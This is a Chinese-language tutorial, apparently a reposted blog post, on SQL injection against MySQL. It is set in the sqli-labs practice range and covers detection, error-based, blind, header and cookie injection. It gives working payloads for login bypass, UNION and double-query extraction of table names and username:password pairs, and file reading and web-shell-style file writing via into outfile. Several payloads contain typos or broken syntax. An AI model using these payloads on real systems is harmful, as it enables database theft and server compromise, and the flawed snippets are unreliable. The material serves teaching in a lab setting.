SQL注入原理及绕过技术

目录

sql注入产生的原因

万能密码介绍

sql注入验证

mysql 5.x数据库介绍

sql数据库增删改查

Mysql常用的聚合函数

mysql注释

SQL注入的分类

报错注入

盲注注入

user-agent 注入

referer 注入

cookie注入

sql注入方法

利用union查询

嵌套注入

Mysql读写文件

 

 

 

 

 

 

 

 


sql注入产生的原因

程序开发过程中,由于不重视书写规范,对sql关键字未进行过滤,导致客户端可以通过POST或GET提交sql语句到服务器端正常运行

万能密码介绍

两个万能密码

  • ' and '1' ='1
  • ' or '1' = '1

sql语句: select * from tables where username = ' '  and  password = ' '

这是我们可以使用万能密码进行绕过,直接使用用户名进行登录。例如将用户名和万能密码拼接到一起,就可以看到以下语句。

select * from tables where username = ' admin ' or '1'='1 '  and  password = ' '

由于 or ‘1' ='1' 永远正确,所以密码无论输入什么都能登录成功。

sql注入验证

利用以下三个方法,就可以完检验sql是否存在sql注入,如果页面中mysql报错,证明该页面存在sql 注入漏洞 。

  • 单引号 '
  • and 1 = 1
  • and 1 = 2

例如 以靶场sqli-labs为例,在参数后面加入" ' ",页面上会显示Mysql报错信息

mysql 5.x数据库介绍

在mysql以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具有表schema(数据库名)、tables(表名)、columns(列名或字段名)

在schama表中,  schema_name 字段用来存储数据库名

在tables表中,     table_schema和table_name 分别用来存储数据库名和表名

在columns表中, tables_schema(数据库名)、table_name(表名)、column_name(列名或字段名)

根据这个结构,同时也方便了我们注入后利用union 查询数据库信息。

sql数据库增删改查

  • insert   into    table_name(列名1,列名2)  values (值1,值2)
  • update 表名字  set  列名称 = 新值  where  列名称 = 旧值
  • delete  from   表名  where  列名称 = 值

Mysql常用的聚合函数

  • user()          查看当前Mysql登录用户名
  • database()     查看当前使用Mysql数据库名
  • version()        查看当前Mysql版本
  • limit 关键字  limit m n  从m行开始,向下n个结束

mysql注释

  • #
  • --空格
  • /**/
  • 内联注释 /*!SQL语句*/,只有mysql可以识别,常用于绕过WAF

SQL注入的分类

产生原理:如果试图将一个字符与非字符比较,或者将一个字符串转化为另一个不兼容的类型,那么sql编辑器会抛出异常。

根据注入位置数据类型笼统将SQL注入分为:数字型和字符型,但也可以细分。下面我就仔细介绍一下。

报错注入

GET基于报错的注入

POST基于错误的注入

注入字段在post数据中

注入点位置发生了变化,在浏览器中无法直接进行修改与查看。可以借助burpsuit完成修改任务。

盲注注入

Blind SQL 是注入攻击的其中一种,向数据库发送true 或 false这样的问题,并根据应用程序返回的信息判断结果。这样的攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。

基于时间(Time)的盲注  

 if(ascii(substr(database(),1,1 ) = 115 , 1 , sleep(3)) 

基于布尔(Boolean)的盲注

 ascii(length(database() ) =   N          

user-agent 注入

注入字段在user-agent数据中

referer 注入

注入字段在referer数据中

cookie注入

注入字段在cookie数据中

sql注入方法

利用union查询

1.判断字段数

order by

2.union select 联合查询,获取表名

0‘ union select 1,group_concat(table_name),3  from information_schema.tables  where table_schema = database() --+

3. union select 联合查询,获取列名

0' union select 1, group_concat(column_name),3 from information_schema.columns  where  table_name = 'uisers' --+

4. union select 联合查询,获取字段值

0' union select 1, group_concat(username,0x3a,password),3 from users --+

嵌套注入

嵌套形式上是两个嵌套的查询,即select....(select....),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后在执行外面的select,双注入主要涉及到的几个sql函数

rand()随机函数,返回0~1之间的某个值

floor(a)取整函数,=返回小于等于a,且值最接近a的一个整数

count()聚合函数也称计数函数,返回查询对象的总数

group by clause 分组语句,按照查询结果分组

通过报错来显示出具体的信息。

1.查询数据库,用户名,版本信息

0' union select 1,2,3 from (select count(*),concat( (select concat(version(),0x3a,database(),0x3a,user()) limit 0,1),floor(rand(0)*2))x from information_schama.tables group by x)a --+

2.查询表名

0' union select 1,2,3  from (select count(*),concat((select concat(table_name,0x3a) from information_schema.tables where table_schema =database() limit 0,1),floor(rand(0)*2))x   from information_schema.tables group by x )a --+

3.查询用户信息

0' union select 1,2,3  from (select count(*),concat((select concat(username,0x3a,password) from security.users limit 0,1),floor(rand(0)*2))x   from information_schema.tables group by x )a --+

Mysql读写文件

读写前提

  • 用户权限足够高
  • securie_file_priv不为NULL
  • set globle general_log =on

读文件:0' union select 1,load_file("D:\\flag.txt"),3  --+

写文件:0‘ union select 1, <?php phpinfo; ?>,3 into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\2.php'   --+

                    

 

 

 

 

 

 

 

 

猜你喜欢

转载自blog.csdn.net/smli_ng/article/details/106386059